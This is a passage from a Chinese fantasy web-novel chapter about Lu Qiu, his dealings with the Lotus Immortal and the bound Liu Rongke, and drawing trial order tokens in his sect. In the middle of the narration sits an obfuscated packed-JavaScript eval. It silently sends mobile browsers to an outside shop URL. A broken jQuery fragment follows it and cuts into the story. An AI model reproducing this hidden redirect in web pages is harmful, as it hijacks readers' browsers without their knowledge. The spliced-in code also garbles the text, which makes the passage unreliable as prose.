陆秋摸到胸口,这才想起来他在不知情的时候被莲花仙人也打上了印记,他捂着胸口,问道:“你什么时候给我印上的印记?”
“昨晚。”莲花仙人的笑意更深了:“不过是个临时的,现在已经消失了。”
陆秋心下存疑,但也不好当着别人的面脱掉衣服查看,便问:“他们都是需要血液和妖力注入的,你是怎么做到的?”
莲花仙人食指有节奏的敲着桌面,指甲与木头碰撞发出哒哒声,回道:“他们能够与我相提并论吗?”
陆秋像是突然感受到了危险,意识到面前人无论再怎么平易近人都是地上神,还是会歧视其他种族的。想到这里,他连忙道歉:“不能,抱歉,我只是想知道……”他卡顿了一下:“您是通过什么方法打上印记的。”
“有灵力就够了。”他单手托腮:“你体内大部分也是灵力,交融还是挺简单的,你一个不注意就能打上,不过想印永久的还是得要血液的。”
陆秋像是在思考着什么,但又放弃了,把话题转移到另一边:“您这个身份是做什么的?”
“在人间走走。”他回答:“本体总是不方便出来的。”
那可太不方便了。陆秋抑制住嘴角抽动,前几次用本体见面的那种压迫感不知道的还以为是要他的命呢。
“听老头说浮海城以前还有位大能,您知道他去哪里了吗?”
“不知道。”莲花仙人摇头:“他是什么很重要的人吗?”
“只是听说他做了很多东西……”
“那又如何呢?”陆秋话还未说完就被打断:“他最多就是个工匠,被人捧的太高,倒是不知轻重了。”陆秋不明白到底怎么不知轻重,所以就闭了嘴听对方说。
“他也不过是把现成的东西搬到另一个地方,就受到这种追捧,多少有些不公平了。”
陆秋听得一头雾水,不知道对方到底是在打什么哑迷。但莲花仙人貌似不想再说了,只是打了个响指,那边说着想找书的云栖月就叹着气回来了。
“没有想看的书吗?”莲花仙人靠在椅背上,语气懒散的自问自答:“你又不学医,自然找不到想看的书。”
云栖月点点头,陆秋这会才发现他的状态不太对,像是没回过神来,他在云栖月面前挥挥手,发现对方也没有什么动作,只是盯着地板。陆秋看向莲花仙人的方向,发现人早就不见了。
“怎么了?”云栖月突然开口,疑惑的看着他。
陆秋为了印证心里的猜想,装作若无其事的模样问:“没有想看的书吗?”
云栖月也是很自然的表情,回答道:“我又不学医,自然找不到想看的书。”
听到这话,陆秋感到一阵寒意直冲天灵盖,他不知自己是否也被这样催眠过,以后会不会也被这样玩弄于股掌之间。这个瞬间他又不断回想和老头相处的这么多天,是不是老头也遇到过被催眠的他,在一次次的重复中失去了那点生气。
“你什么时候搬回去?”云栖月看他不说话,主动提出可以先帮他搬些东西回去。
“看看吧,我还得先给玖长老说一声,而且柳容柯那边还没有处理完呢。”陆秋叹气,又想起柳容柯那个让人头疼的存在。
“那我先回去了,最近宗门有考核的,你也得准备了。”云栖月提醒:“这是新掌门第一次举行的考核。”
陆秋沉默片刻,拍拍云栖月肩膀:“多谢,我差点忘了。”不能说是忘了,而是他根本不知道有考核这事,往常家族考核是在冬春之交,谁知滨水宗考核竟在盛夏。
我又不在滨水宗长住。陆秋这么想着,考核能有多难?实在不行让老头出手捞嘛。想到这里他又轻松了,正所谓压力都是自己给的,只要不去想,就没有压力,他一向不会难为自己的。
目送云栖月飞回去,陆秋也懒得装了,回屋把门关好再贴上隔音符,无奈的看着已经坐在自己屋内的柳容柯开口:“你恢复完了?”
“哪有这么快。”柳容柯像是接受了事实,也没有昨天那样肆意散发着敌意:“你可真行,别人说什么你做什么。”
“分明是我也走投无路了,你为什么不想想我也是受害人呢?”陆秋换了种角度劝说:“我完全处在被蒙蔽的状态之中,你早些给我说明了,不就不会有这么多的事情了吗?”
柳容柯还想再说什么,陆秋不让他说,直接道:“是你先把我扯到这麻烦中的,是你有错在先,我现在和你好好说话,你不要带这么大的怨气。”
柳容柯果然收敛了不少,毕竟炼化了鳞片的陆秋此时算他半个主人,说话多少都会带有命令与强制性。陆秋看他听话,又说:“现在重要的是向前看,我没有拿人当奴隶的爱好,你也不必担心我会做什么,我又不是你老婆,天天管这管那的。”
柳容柯一愣,不知为何竟从他脸上看出来一言难尽的表情来:“我又怎么能相信你?”
“信不信由你。”陆秋翻了个白眼:“主动权在我这里,你也没资格怀疑我。”
不过有便宜不占是王八蛋,柳容柯让他吃的苦头不少,他也不会这么轻易就放过对方,有些小得意的倚在门框上:“平时你做你的事,我需要你的时候会叫你的。”
“你什么时候需要我?”柳容柯一颗心都提到了嗓子眼。
“可能晚上睡不着需要你讲故事?”陆秋故意逗他,看着对方一脸“你真是没事找事”的表情笑出了声,赶忙安慰道:“骗你的,我才没那么无聊,反正打架的时候可能会叫你出来。”
“我希望打架的时候也别叫我出来。”
“你想得美。”陆秋笑眯眯的驳回他的想法。
柳容柯叹气,心说真是惹到瘟神了,之后虽说能好过一点但估摸着也好不到哪里去。他又瞟到了床头柜,狠狠瞪了眼里面正在偷看的一尊小石像。
杜漓像往常那样打开窗子,用力深吸一口窗外清新的空气,只觉得五脏六腑都有一阵清凉流过。
夏天是格外富有生命力的季节,应该在炽热的阳光下尽情飞翔,体验那种被照射的刺痛,像是要被活活烧死的那种疼痛。想到这里,他又悄悄在窗沿上磨着过长的指甲,尽量不打扰熟睡中的褚浣。前几次见过刚睡醒的褚浣,怨气大的像是要把他给活剥了,而且一个不好就又摔又砸,连云栖月都直接飞到外面躲着刚起床的褚浣,自己更是不能触了这个霉头。
无论是人还是妖,都应保持一定的警惕,尤其是在这个危险的地方。正当杜漓想要关窗穿上外衣的时候,寝室门被柳容柯直接一脚踹开,反弹到墙上又发出巨大的响声,震得放在一旁柜子上的绿萝在原地转了两圈后盆被摔得粉碎。
完了。杜漓大脑一片空白,可能是本能,也有可能是经历过于惨痛而有的反应,他立刻蹲下躲过了直直飞过来的砚台,又顺势往自己床边一滚,躲过一个挂满了笔的笔架。陆秋从柳容柯身后缓缓探头和杜漓打了个招呼,先是注意到了脏乱的地面,后又缓缓移到了正坐在床上披头散发的褚浣身上。
“这和男鬼有什么区别?”陆秋悄声和柳容柯嘀咕。
柳容柯没理他,径直走到陆秋的床铺,把东西往地上一放,动作干净利索几下就把床单被褥抱起,又把枕头扔给还站在门口的陆秋:“今天阳光好,晒一晒这些东西。”
“还用晒?”陆秋拿着枕头皱眉:“我是火灵根,不会有爬虫靠近的。”
“你是土灵根都不行,不怕虫子,你铁皮啊?”柳容柯骂骂咧咧:“一个月了都不换这些东西,邋遢死你完事。”他抖抖上面并没有的灰尘,陆秋这才十分不情愿的和他一起下楼去找杆子晒被褥。
好像忘了什么。陆秋把枕头调到了一个好方向,往上一看发现杜漓还没关的窗户,突然听到屋内又是一阵剧烈的噼里啪啦的声音,其中还夹杂着杜漓的尖叫。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395950|141174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陆秋站在原地愣了一会,直到没了动静才和一旁的柳容柯对视一眼,决定回去看看怎么回事。
“你还是等一会再进去。”柳容柯开口提醒他。
“为什么?”陆秋疑惑。
“因为褚浣脾气挺大的,他不爽时谁都打。”
“啊?”陆秋傻眼了,他一直觉得褚浣是那种比较温和的人,脾气再大也不能大到哪里去,所以这么一听说,从心底还是不太相信柳容柯的。但是听劝也不是什么坏事,他们就在门口站了大约一刻钟才进屋。
探头往里一看,褚浣周身气压低得都快把一旁打扫的杜漓压死了,杜漓看见他们,嘤嘤着就往陆秋这里迈着小碎步过来了。他像是有什么顾虑,到了陆秋身边还回头看了眼褚浣,就见褚浣黑着脸盯他:“告状啊。”
“没没没。”杜漓疯狂摇头,都能听见他耳羽扇动发出的哗哗声。
褚浣不再说话了,而是把头转向窗外看风景,杜漓则是拉着陆秋的袖子小声说:“兄弟这么久不见了,出去散个步聊聊?”
陆秋和柳容柯对视一眼,柳容柯立刻回答:“我还要守楼,你俩出去吧。”
懂事。陆秋在心底这么夸了一句柳容柯,想着这些天都没有事情,出去和杜漓聊聊也挺好。
二人刚出了楼,就看见拐角处云栖月怀中抱着什么东西回来了,杜漓叫住云栖月,说褚浣心情不好,暂时还是不要回去比较好。
云栖月点点头,把怀中的布袋放开了个小口,让二人从中拿一个。
“里面是什么?”陆秋不信云栖月会害他,但还是问了一句。
“试炼的顺序牌。”云栖月简单总结了一下:“张掌门让送的,我负责这栋楼。”
“怎么又是你啊?上次发布公告也是让你去的,你不会是关系户吧。”杜漓已经从中捞了个出来,发现木牌上一个明晃晃的“七十七”松了口气:“还好还好,中规中矩。”
云栖月笑道:“怎么可能,我要是关系户我就自己住大房间了,陆秋,你拿一个。”
陆秋听他胡说,自己脸上也带上了些笑意,他随意摸了个牌,想着排后面挺好的,排前面的话会收到许多关注的。他把牌一翻,脸上的笑都顿住了。
“多少?”柳容柯和杜漓一边一个看他的牌子,只见一个“三”,两人都有些忍俊不禁。云栖月下唇都快咬烂了才没让笑声出口,他拍拍陆秋肩膀安慰他:“没关系,早死早超生嘛。”
“放轻松,也许长老没看清你就过去了呢。”杜漓也安慰他。
“是我的试炼过去了还是我过去了啊!”陆秋只觉得手中的牌子有千钧重,还十分扎手,他一脸绝望的看着云栖月:“我能重新抽吗?”
“不能,这个袋子有禁制,一个人只能拿一次。”云栖月遗憾的拒绝了他。
“那能换吗?”
“这……”云栖月眼珠一转,做出为难的样子:“只怕……别人不换。”
二人同时看向杜漓,杜漓吓得耳羽都炸开来,将牌子在怀里紧紧抱着,一双眼睛透着惊恐,大喊道:“好哇!你害我!”
“七十七还是太靠前了。”陆秋摇头:“我记得好像有六百多人需要试炼吧?”
“差不多。”云栖月点头。
“你的号是多少?”陆秋询问。
“我不抽的,最后的一个号才是我的。”
“为什么?为了公平吗?”陆秋皱眉:“不对,也没公平到哪里去啊,每个人只能摸一次,你是发牌子的也只能摸一次。”
“因为这个牌子不能被收到芥子空间的。”杜漓解释:“为了确认你是参加试炼的人,就必须把牌子拿在手里或挂身上,发牌子的也得栓腰上。”
“栓腰上容易被摸走。”云栖月这么一说,陆秋就明白了,他一拍脑袋看向云栖月:“那我给你保管。”
“啊?”云栖月的脑子停止了转动。